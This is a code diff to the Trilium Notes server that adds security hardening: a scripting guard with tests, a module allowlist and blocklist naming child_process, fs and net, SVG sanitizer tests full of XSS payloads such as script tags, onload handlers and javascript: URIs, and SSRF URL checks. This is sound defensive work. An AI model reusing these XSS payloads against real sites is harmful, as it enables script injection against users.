"utcDateCreatedObj",
"isProtected",
"content"
]);
interface TemplateVariables {
[key: string]: unknown;
}
/**
* Evaluates a template string safely without using eval().
*
* Template strings can contain ${...} expressions which are evaluated
* against the provided variables map.
*
* @param template - The template string, e.g. "Note: ${now.format('YYYY-MM-DD')}"
* @param variables - Map of variable names to their values
* @returns The interpolated string
* @throws Error if an expression cannot be safely evaluated
*/
export function evaluateTemplate(template: string, variables: TemplateVariables): string {
return template.replace(/\$\{([^}]+)\}/g, (_match, expression: string) => {
const result = evaluateExpression(expression.trim(), variables);
return result == null ? "" : String(result);
});
}
/**
* Evaluates a single expression like "now.format('YYYY-MM-DD')" or "parentNote.title".
*
* Supported forms:
* - `varName` -> variables[varName]
* - `varName.prop` -> variables[varName].prop
* - `varName.prop1.prop2` -> variables[varName].prop1.prop2
* - `varName.method('arg')` -> variables[varName].method('arg')
* - `varName.prop.method('arg')` -> variables[varName].prop.method('arg')
*/
function evaluateExpression(expr: string, variables: TemplateVariables): unknown {
// Parse the expression into segments: variable name, property accesses, and optional method call.
// We handle: varName(.propName)*.methodName('stringArg')?
// First, check for a method call at the end: .methodName('arg') or .methodName("arg")
const methodCallMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*(?:'([^']*)'|"([^"]*)")\s*\)$/
);
if (methodCallMatch) {
const [, chainStr, methodName, singleQuoteArg, doubleQuoteArg] = methodCallMatch;
const methodArg = singleQuoteArg !== undefined ? singleQuoteArg : doubleQuoteArg;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as (arg: string) => unknown).call(target, methodArg as string);
}
// Check for a no-arg method call at the end: .methodName()
const noArgMethodMatch = expr.match(
/^([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)\.([a-zA-Z_]\w*)\(\s*\)$/
);
if (noArgMethodMatch) {
const [, chainStr, methodName] = noArgMethodMatch;
if (!ALLOWED_METHODS.has(methodName)) {
throw new Error(`Method '${methodName}' is not allowed in template expressions`);
}
const target = resolvePropertyChain(chainStr, variables);
if (target == null) {
return null;
}
const method = (target as Record<string, unknown>)[methodName];
if (typeof method !== "function") {
throw new Error(`'${methodName}' is not a function on the resolved object`);
}
return (method as () => unknown).call(target);
}
// Otherwise it's a pure property chain: varName.prop1.prop2...
const propChainMatch = expr.match(/^[a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*$/);
if (!propChainMatch) {
throw new Error(`Template expression '${expr}' is not a supported expression. ` +
`Only property access and whitelisted method calls are allowed.`);
}
return resolvePropertyChain(expr, variables);
}
/**
* Resolves a dot-separated property chain like "parentNote.title" against variables.
*/
function resolvePropertyChain(chain: string, variables: TemplateVariables): unknown {
const parts = chain.split(".");
const rootName = parts[0];
if (!(rootName in variables)) {
throw new Error(`Unknown variable '${rootName}' in template expression`);
}
let current: unknown = variables[rootName];
for (let i = 1; i < parts.length; i++) {
if (current == null) {
return null;
}
const prop = parts[i];
if (!ALLOWED_PROPERTIES.has(prop)) {
throw new Error(`Property '${prop}' is not allowed in template expressions`);
}
current = (current as Record<string, unknown>)[prop];
}
return current;
}
/**
* Convenience wrapper that evaluates a template and catches errors,
* logging them and returning the fallback value.
*/
export function evaluateTemplateSafe(
template: string,
variables: TemplateVariables,
fallback: string,
contextDescription: string
): string {
try {
return evaluateTemplate(template, variables);
} catch (e: any) {
log.error(`Template evaluation for ${contextDescription} failed with: ${e.message}`);
return fallback;
}
}

View File

@@ -8,6 +8,7 @@ import hiddenSubtreeService from "./hidden_subtree.js";
import type BNote from "../becca/entities/bnote.js";
import options from "./options.js";
import { getLastProtectedSessionOperationDate, isProtectedSessionAvailable, resetDataKey } from "./protected_session.js";
import { isScriptingEnabled } from "./scripting_guard.js";
import ws from "./ws.js";
function getRunAtHours(note: BNote): number[] {
@@ -44,7 +45,7 @@ if (sqlInit.isDbInitialized()) {
// Periodic checks.
sqlInit.dbReady.then(() => {
if (!process.env.TRILIUM_SAFE_MODE) {
if (!process.env.TRILIUM_SAFE_MODE && isScriptingEnabled()) {
setTimeout(
cls.wrap(() => runNotesWithLabel("backendStartup")),
10 * 1000
@@ -60,12 +61,14 @@ sqlInit.dbReady.then(() => {
24 * 3600 * 1000
);
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
}
// Internal maintenance - always runs regardless of scripting setting
setInterval(
cls.wrap(() => hiddenSubtreeService.checkHiddenSubtree()),
7 * 3600 * 1000
);
setInterval(() => checkProtectedSessionExpiration(), 30000);
});

View File

@@ -3,6 +3,51 @@ import BackendScriptApi from "./backend_script_api.js";
import type BNote from "../becca/entities/bnote.js";
import type { ApiParams } from "./backend_script_api_interface.js";
/**
* IMPORTANT: This module allowlist/blocklist is a defense-in-depth measure only.
* It is NOT a security sandbox. Scripts execute via eval() in the main Node.js
* process and can bypass these restrictions through globalThis, process, etc.
* The actual security boundary is the [Scripting] enabled=false config toggle,
* which prevents script execution entirely.
*
* Modules that are safe for user scripts to require.
* Note-based modules (resolved via note title matching) are handled separately
* and always allowed regardless of this list.
*/
const ALLOWED_MODULES = new Set([
// Safe utility libraries
"dayjs",
"marked",
"turndown",
"cheerio",
"axios",
"xml2js",
"escape-html",
"sanitize-html",
"lodash",
]);
/**
* Modules that are ALWAYS blocked even when scripting is enabled.
* These provide OS-level access that makes RCE trivial.
*/
const BLOCKED_MODULES = new Set([
"child_process",
"cluster",
"dgram",
"dns",
"fs",
"fs/promises",
"net",
"os",
"path",
"process",
"tls",
"worker_threads",
"v8",
"vm",
]);
type Module = {
exports: any[];
};
@@ -26,7 +71,23 @@ class ScriptContext {
const note = candidates.find((c) => c.title === moduleName);
if (!note) {
return require(moduleName);
// Check blocked list first
if (BLOCKED_MODULES.has(moduleName)) {
throw new Error(
`Module '${moduleName}' is blocked for security. ` +
`Scripts cannot access OS-level modules like child_process, fs, net, os.`
);
}
// Allow if in whitelist
if (ALLOWED_MODULES.has(moduleName)) {
return require(moduleName);
}
throw new Error(
`Module '${moduleName}' is not in the allowed modules list. ` +
`Contact your administrator to add it to the whitelist.`
);
}
return this.modules[note.noteId].exports;

View File

@@ -0,0 +1,148 @@
import { vi, describe, it, expect, beforeEach } from "vitest";
// Mutable mock state that can be changed between tests
const mockState = {
isElectron: false,
scriptingEnabled: false,
sqlConsoleEnabled: false
};
// Mock utils module so isElectron can be controlled per test
vi.mock("./utils.js", () => ({
isElectron: false,
default: {
isElectron: false
}
}));
// Mock config module so Scripting section can be controlled per test
vi.mock("./config.js", () => ({
default: {
Scripting: {
get enabled() {
return mockState.scriptingEnabled;
},
get sqlConsoleEnabled() {
return mockState.sqlConsoleEnabled;
}
}
}
}));
describe("scripting_guard", () => {
beforeEach(() => {
// Reset to defaults
mockState.isElectron = false;
mockState.scriptingEnabled = false;
mockState.sqlConsoleEnabled = false;
vi.resetModules();
});
describe("assertScriptingEnabled", () => {
it("should throw when scripting is disabled and not Electron", async () => {
mockState.isElectron = false;
mockState.scriptingEnabled = false;
// Re-mock utils with isElectron = false
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).toThrowError(
/Script execution is disabled/
);
});
it("should not throw when scripting is enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
it("should not throw when isElectron is true even if config is false", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { assertScriptingEnabled } = await import("./scripting_guard.js");
expect(() => assertScriptingEnabled()).not.toThrow();
});
});
describe("assertSqlConsoleEnabled", () => {
it("should throw when SQL console is disabled and not Electron", async () => {
mockState.sqlConsoleEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).toThrowError(
/SQL console is disabled/
);
});
it("should not throw when SQL console is enabled", async () => {
mockState.sqlConsoleEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { assertSqlConsoleEnabled } = await import("./scripting_guard.js");
expect(() => assertSqlConsoleEnabled()).not.toThrow();
});
});
describe("isScriptingEnabled", () => {
it("should return false when disabled and not Electron", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(false);
});
it("should return true when enabled", async () => {
mockState.scriptingEnabled = true;
vi.doMock("./utils.js", () => ({
isElectron: false,
default: { isElectron: false }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
it("should return true when isElectron is true", async () => {
mockState.scriptingEnabled = false;
vi.doMock("./utils.js", () => ({
isElectron: true,
default: { isElectron: true }
}));
const { isScriptingEnabled } = await import("./scripting_guard.js");
expect(isScriptingEnabled()).toBe(true);
});
});
});

View File

@@ -0,0 +1,28 @@
import config from "./config.js";
import { isElectron } from "./utils.js";
/**
* Throws if scripting is disabled. Desktop (Electron) always allows scripting.
*/
export function assertScriptingEnabled(): void {
if (isElectron || config.Scripting.enabled) {
return;
}
throw new Error(
"Script execution is disabled. Set [Scripting] enabled=true in config.ini or " +
"TRILIUM_SCRIPTING_ENABLED=true to enable. WARNING: Scripts have full server access."
);
}
export function assertSqlConsoleEnabled(): void {
if (isElectron || config.Scripting.sqlConsoleEnabled) {
return;
}
throw new Error(
"SQL console is disabled. Set [Scripting] sqlConsoleEnabled=true in config.ini to enable."
);
}
export function isScriptingEnabled(): boolean {
return isElectron || config.Scripting.enabled;
}

View File

@@ -17,6 +17,7 @@ import type { SearchParams, TokenStructure } from "./types.js";
import type Expression from "../expressions/expression.js";
import sql from "../../sql.js";
import scriptService from "../../script.js";
import { isScriptingEnabled } from "../../scripting_guard.js";
import striptags from "striptags";
import protectedSessionService from "../../protected_session.js";
@@ -80,6 +81,11 @@ function searchFromRelation(note: BNote, relationName: string) {
return [];
}
if (!isScriptingEnabled()) {
log.info("Script-based search is disabled (scripting is not enabled).");
return [];
}
if (!scriptNote.isJavaScript() || scriptNote.getScriptEnv() !== "backend") {
log.info(`Note ${scriptNote.noteId} is not executable.`);

View File

@@ -0,0 +1,241 @@
import { describe, expect, it } from "vitest";
import { sanitizeSvg } from "./svg_sanitizer.js";
describe("SVG Sanitizer", () => {
describe("removes dangerous elements", () => {
it("strips <script> tags with content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert('XSS')</script><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
});
it("strips <script> tags case-insensitively", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><SCRIPT>alert('XSS')</SCRIPT></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("SCRIPT");
expect(clean).not.toContain("alert");
});
it("strips <script> tags with attributes", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script type="text/javascript">alert('XSS')</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("alert");
});
it("strips self-closing <script> tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script src="evil.js"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).not.toContain("evil.js");
});
it("strips <foreignObject> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script></body></foreignObject></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("alert");
});
it("strips <iframe> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><iframe src="https://evil.com"></iframe></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<iframe");
expect(clean).not.toContain("evil.com");
});
it("strips <embed> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><embed src="evil.swf"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<embed");
});
it("strips <object> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><object data="evil.swf"></object></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<object");
});
it("strips <link> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><link rel="stylesheet" href="evil.css"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<link");
});
it("strips <meta> elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><meta http-equiv="refresh" content="0;url=evil.com"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<meta");
});
});
describe("removes event handler attributes", () => {
it("strips onload from SVG root", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS')"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onload");
expect(clean).not.toContain("alert");
expect(clean).toContain("<circle");
expect(clean).toContain("<svg");
});
it("strips onclick from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><circle r="50" onclick="alert('XSS')"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onclick");
expect(clean).not.toContain("alert");
expect(clean).toContain("r=\"50\"");
});
it("strips onerror from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><image onerror="alert('XSS')" href="x"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onerror");
expect(clean).not.toContain("alert");
});
it("strips onmouseover from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onmouseover="alert('XSS')" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onmouseover");
});
it("strips onfocus from elements", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><rect onfocus="alert('XSS')" tabindex="0"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("onfocus");
});
});
describe("removes dangerous URI schemes", () => {
it("strips javascript: URIs from href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
expect(clean).toContain("<text>Click</text>");
});
it("strips javascript: URIs from xlink:href", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a xlink:href="javascript:alert('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
it("strips data:text/html URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="data:text/html,<script>alert(1)</script>"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("data:text/html");
});
it("strips vbscript: URIs", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href="vbscript:msgbox('XSS')"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("vbscript:");
});
it("strips javascript: URIs with whitespace padding", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><a href=" javascript:alert(1)"><text>Click</text></a></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("javascript:");
});
});
describe("removes xml-stylesheet processing instructions", () => {
it("strips xml-stylesheet PIs", () => {
const dirty = `<?xml-stylesheet type="text/xsl" href="evil.xsl"?><svg xmlns="http://www.w3.org/2000/svg"><circle r="50"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("xml-stylesheet");
expect(clean).toContain("<circle");
});
});
describe("preserves legitimate SVG content", () => {
it("preserves basic SVG shapes", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100"><circle cx="50" cy="50" r="40" fill="red"/><rect x="10" y="10" width="80" height="80" fill="blue"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG paths", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><path d="M10 10 L90 90" stroke="black" stroke-width="2"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG text elements", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><text x="50" y="50" font-size="20">Hello World</text></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG groups and transforms", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><g transform="translate(10,10)"><circle r="5"/></g></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
it("preserves SVG style elements with CSS (not script)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><style>.cls{fill:red}</style><circle class="cls" r="50"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("<style>");
expect(clean).toContain("fill:red");
});
it("preserves SVG defs and gradients", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><defs><linearGradient id="grad"><stop offset="0%" stop-color="red"/><stop offset="100%" stop-color="blue"/></linearGradient></defs><rect fill="url(#grad)" width="100" height="100"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("linearGradient");
expect(clean).toContain("url(#grad)");
});
it("preserves safe href attributes (non-javascript)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><a href="https://example.com"><text>Link</text></a></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain(`href="https://example.com"`);
});
it("preserves data: URIs for images (non-HTML)", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"><image href="data:image/png;base64,abc123"/></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toContain("data:image/png;base64,abc123");
});
it("preserves empty SVG", () => {
const svg = `<svg xmlns="http://www.w3.org/2000/svg"></svg>`;
const clean = sanitizeSvg(svg);
expect(clean).toBe(svg);
});
});
describe("handles edge cases", () => {
it("handles Buffer input", () => {
const svg = Buffer.from(`<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`);
const clean = sanitizeSvg(svg);
expect(clean).not.toContain("<script");
});
it("handles multiple script tags", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script><circle r="50"/><script>alert(2)</script></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("<script");
expect(clean).toContain("<circle");
});
it("handles mixed dangerous content", () => {
const dirty = `<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"><script>alert(2)</script><foreignObject><body xmlns="http://www.w3.org/1999/xhtml"><img onerror="alert(3)"/></body></foreignObject><circle r="50" onclick="alert(4)"/></svg>`;
const clean = sanitizeSvg(dirty);
expect(clean).not.toContain("alert");
expect(clean).not.toContain("onload");
expect(clean).not.toContain("<script");
expect(clean).not.toContain("foreignObject");
expect(clean).not.toContain("onclick");
expect(clean).toContain("<circle");
});
it("handles empty string input", () => {
expect(sanitizeSvg("")).toBe("");
});
});
});

View File

@@ -0,0 +1,158 @@
/**
* SVG sanitizer to prevent stored XSS via malicious SVG content.
*
* SVG files can contain embedded JavaScript via <script> tags, event handler
* attributes (onload, onclick, etc.), <foreignObject> elements, and
* javascript: URIs. This sanitizer strips all such dangerous constructs
* while preserving legitimate SVG rendering elements.
*
* Defense-in-depth: SVG responses also receive a restrictive
* Content-Security-Policy header (see {@link setSvgHeaders}) to block
* script execution even if sanitization is bypassed.
*/
import type { Response } from "express";
// Elements that MUST be removed from SVG (they can execute code or embed arbitrary HTML)
const DANGEROUS_ELEMENTS = new Set([
"script",
"foreignobject",
"iframe",
"embed",
"object",
"applet",
"base",
"link", // can load external resources
"meta",
]);
// Attribute prefixes/names that indicate event handlers
const EVENT_HANDLER_PATTERN = /^on[a-z]/i;
// Dangerous attribute values (javascript:, data: with script content, vbscript:)
const DANGEROUS_URI_PATTERN = /^\s*(javascript|vbscript|data\s*:\s*text\/html)/i;
// Attributes that can contain URIs
const URI_ATTRIBUTES = new Set([
"href",
"xlink:href",
"src",
"action",
"formaction",
"data",
]);
// SVG "set" and "animate" elements can modify attributes to dangerous values
const DANGEROUS_ANIMATION_ATTRIBUTES = new Set([
"attributename",
]);
/**
* Sanitizes SVG content by removing dangerous elements and attributes
* that could lead to script execution (XSS).
*
* This uses regex-based parsing rather than a full DOM parser to avoid
* adding heavy dependencies. The approach is conservative: it removes
* known-dangerous constructs rather than allowlisting, but combined with
* the CSP header this provides robust protection.
*/
export function sanitizeSvg(svg: string | Buffer): string {
let content = typeof svg === "string" ? svg : svg.toString("utf-8");
// 1. Remove dangerous elements and their contents entirely.
// Use a case-insensitive regex that handles self-closing and content-bearing tags.
for (const element of DANGEROUS_ELEMENTS) {
// Remove opening+closing tag pairs (including content between them)
const pairRegex = new RegExp(
`<${element}[\\s>][\\s\\S]*?<\\/${element}\\s*>`,
"gi"
);
content = content.replace(pairRegex, "");
// Remove self-closing variants
const selfClosingRegex = new RegExp(
`<${element}(\\s[^>]*)?\\/?>`,
"gi"
);
content = content.replace(selfClosingRegex, "");
}
// 2. Remove event handler attributes (onclick, onload, onerror, etc.)
// and dangerous URI attributes from all remaining elements.
content = content.replace(/<([a-zA-Z][a-zA-Z0-9-]*)((?:\s+[^>]*?)?)(\s*\/?>)/g,
(_match, tagName, attrs, closing) => {
if (!attrs || !attrs.trim()) {
return `<${tagName}${closing}`;
}
// Parse and filter attributes
const sanitizedAttrs = sanitizeAttributes(attrs);
return `<${tagName}${sanitizedAttrs}${closing}`;
}
);
// 3. Remove processing instructions that could be exploited
content = content.replace(/<\?xml-stylesheet[^?]*\?>/gi, "");
return content;
}
/**
* Sanitizes the attribute string of an SVG element by removing
* event handlers and dangerous URI values.
*/
function sanitizeAttributes(attrString: string): string {
// Match individual attributes: name="value", name='value', name=value, or standalone name
return attrString.replace(
/\s+([a-zA-Z_:][\w:.-]*)\s*(?:=\s*(?:"([^"]*)"|'([^']*)'|(\S+)))?/g,
(fullMatch, attrName, dblVal, sglVal, unquotedVal) => {
const lowerAttrName = attrName.toLowerCase();
const attrValue = dblVal ?? sglVal ?? unquotedVal ?? "";
// Remove all event handler attributes
if (EVENT_HANDLER_PATTERN.test(lowerAttrName)) {
return "";
}
// Check URI-bearing attributes for dangerous schemes
if (URI_ATTRIBUTES.has(lowerAttrName)) {
if (DANGEROUS_URI_PATTERN.test(attrValue)) {
return "";
}
}
// Block animation elements from targeting event handlers via attributeName
if (DANGEROUS_ANIMATION_ATTRIBUTES.has(lowerAttrName)) {
const targetAttr = attrValue.toLowerCase();
if (EVENT_HANDLER_PATTERN.test(targetAttr) || targetAttr === "href" || targetAttr === "xlink:href") {
return "";
}
}
return fullMatch;
}
);
}
/**
* Sets security headers appropriate for SVG responses.
* This provides defense-in-depth: even if SVG sanitization is somehow
* bypassed, the CSP header prevents script execution.
*/
export function setSvgHeaders(res: Response): void {
res.set("Content-Type", "image/svg+xml");
res.set("Cache-Control", "no-cache, no-store, must-revalidate");
// Restrictive CSP that allows SVG rendering but blocks all script execution,
// inline event handlers, and plugin-based content.
res.set(
"Content-Security-Policy",
"default-src 'none'; style-src 'unsafe-inline'; img-src 'self' data:; font-src 'self' data:"
);
// Prevent SVG from being reinterpreted in a different MIME context
res.set("X-Content-Type-Options", "nosniff");
}
export default {
sanitizeSvg,
setSvgHeaders
};

View File

@@ -5,6 +5,8 @@ import eventService from "./events.js";
import entityConstructor from "../becca/entity_constructor.js";
import ws from "./ws.js";
import type { EntityChange, EntityChangeRecord, EntityRow } from "@triliumnext/commons";
import attributeService from "./attributes.js";
import { isScriptingEnabled } from "./scripting_guard.js";
interface UpdateContext {
alreadyErased: number;
@@ -91,6 +93,18 @@ function updateNormalEntity(remoteEC: EntityChange, remoteEntityRow: EntityRow |
preProcessContent(remoteEC, remoteEntityRow);
// When scripting is disabled, prefix dangerous attributes with 'disabled:'
// Same pattern as safeImport in attributes.ts
if (remoteEC.entityName === "attributes" && !isScriptingEnabled()) {
const attrRow = remoteEntityRow as Record<string, unknown>;
if (typeof attrRow.type === "string" && typeof attrRow.name === "string"
&& !attrRow.isDeleted
&& attributeService.isAttributeDangerous(attrRow.type, attrRow.name)) {
log.info(`Sync: disabling dangerous attribute '${attrRow.name}' (scripting is disabled)`);
attrRow.name = `disabled:${attrRow.name}`;
}
}
sql.replace(remoteEC.entityName, remoteEntityRow);
updateContext.updated[remoteEC.entityName] = updateContext.updated[remoteEC.entityName] || [];

View File

@@ -0,0 +1,140 @@
/**
* URL validation utilities to prevent SSRF (Server-Side Request Forgery) attacks.
*
* These checks enforce scheme allowlists and optionally block requests to
* private/internal IP ranges so that user-controlled URLs cannot be used to
* reach local files or internal network services.
*/
import { URL } from "url";
import log from "./log.js";
/**
* IPv4 private and reserved ranges that should not be reachable from
* server-side HTTP requests initiated by user-supplied URLs.
*/
const PRIVATE_IPV4_RANGES: Array<{ prefix: number; mask: number }> = [
{ prefix: 0x7F000000, mask: 0xFF000000 }, // 127.0.0.0/8 (loopback)
{ prefix: 0x0A000000, mask: 0xFF000000 }, // 10.0.0.0/8 (private)
{ prefix: 0xAC100000, mask: 0xFFF00000 }, // 172.16.0.0/12 (private)
{ prefix: 0xC0A80000, mask: 0xFFFF0000 }, // 192.168.0.0/16 (private)
{ prefix: 0xA9FE0000, mask: 0xFFFF0000 }, // 169.254.0.0/16 (link-local)
{ prefix: 0x00000000, mask: 0xFF000000 }, // 0.0.0.0/8 (current network)
];
/**
* Parse a dotted-decimal IPv4 address into a 32-bit integer, or return null
* if the string is not a valid IPv4 literal.
*/
function parseIPv4(ip: string): number | null {
const parts = ip.split(".");
if (parts.length !== 4) return null;
let result = 0;
for (const part of parts) {
const octet = Number(part);
if (!Number.isInteger(octet) || octet < 0 || octet > 255) return null;
result = (result << 8) | octet;
}
// Convert to unsigned 32-bit
return result >>> 0;
}
/**
* Returns true when the hostname is a private/internal IPv4 address, an IPv6
* loopback (::1), or an IPv6 unique-local address (fc00::/7).
*
* DNS resolution is NOT performed here; the check only applies when the
* hostname is already an IP literal. For full SSRF protection against DNS
* rebinding you would need an additional check after resolution, but
* blocking IP literals covers the most common attack vectors.
*/
function isPrivateIP(hostname: string): boolean {
// Strip IPv6 bracket notation that URL may retain.
const cleanHost = hostname.replace(/^\[|\]$/g, "");
// IPv6 checks
if (cleanHost === "::1") return true;
if (cleanHost.toLowerCase().startsWith("fc") || cleanHost.toLowerCase().startsWith("fd")) {
// fc00::/7 covers fc00:: through fdff::
return true;
}
// IPv4 check
const ipNum = parseIPv4(cleanHost);
if (ipNum !== null) {
for (const range of PRIVATE_IPV4_RANGES) {
if ((ipNum & range.mask) === (range.prefix >>> 0)) {
return true;
}
}
}
// "localhost" as a hostname (not an IP literal)
if (cleanHost.toLowerCase() === "localhost") {
return true;
}
return false;
}
/** Schemes that are safe for outbound HTTP(S) image downloads. */
const ALLOWED_HTTP_SCHEMES = new Set(["http:", "https:"]);
/**
* Validate that a URL is safe for server-side fetching (e.g. image downloads).
*
* Rules:
* 1. Only http: and https: schemes are permitted.
* 2. The hostname must not resolve to a private/internal IP range.
*
* Returns `true` when the URL passes all checks, `false` otherwise.
* Invalid / unparseable URLs also return `false`.
*/
export function isSafeUrlForFetch(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
if (isPrivateIP(parsed.hostname)) {
log.info(`URL rejected - private/internal IP '${parsed.hostname}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`URL rejected - failed to parse: ${urlStr}`);
return false;
}
}
/**
* Validate that a base URL intended for an LLM provider API is using a safe
* scheme (http or https only).
*
* This is a lighter check than `isSafeUrlForFetch` because LLM base URLs are
* configured by authenticated administrators, so we only enforce the scheme
* restriction without blocking private IPs (which are legitimate for
* self-hosted services like Ollama).
*
* Returns `true` when the URL passes the check, `false` otherwise.
*/
export function isSafeProviderBaseUrl(urlStr: string): boolean {
try {
const parsed = new URL(urlStr);
if (!ALLOWED_HTTP_SCHEMES.has(parsed.protocol)) {
log.info(`LLM provider base URL rejected - disallowed scheme '${parsed.protocol}': ${urlStr}`);
return false;
}
return true;
} catch {
log.info(`LLM provider base URL rejected - failed to parse: ${urlStr}`);
return false;
}
}

View File

@@ -14,6 +14,7 @@ import BNote from "../becca/entities/bnote.js";
import assetPath, { assetUrlFragment } from "../services/asset_path.js";
import { generateCss, getIconPacks, MIME_TO_EXTENSION_MAPPINGS, ProcessedIconPack } from "../services/icon_packs.js";
import log from "../services/log.js";
import { isScriptingEnabled } from "../services/scripting_guard.js";
import options from "../services/options.js";
import utils, { getResourceDir, isDev, safeExtractMessageAndStackFromError } from "../services/utils.js";
import SAttachment from "./shaca/entities/sattachment.js";
@@ -193,11 +194,13 @@ function renderNoteContentInternal(note: SNote | BNote, renderArgs: RenderArgs)
t,
isDev,
utils,
sanitizeUrl,
...renderArgs,
};
// Check if the user has their own template.
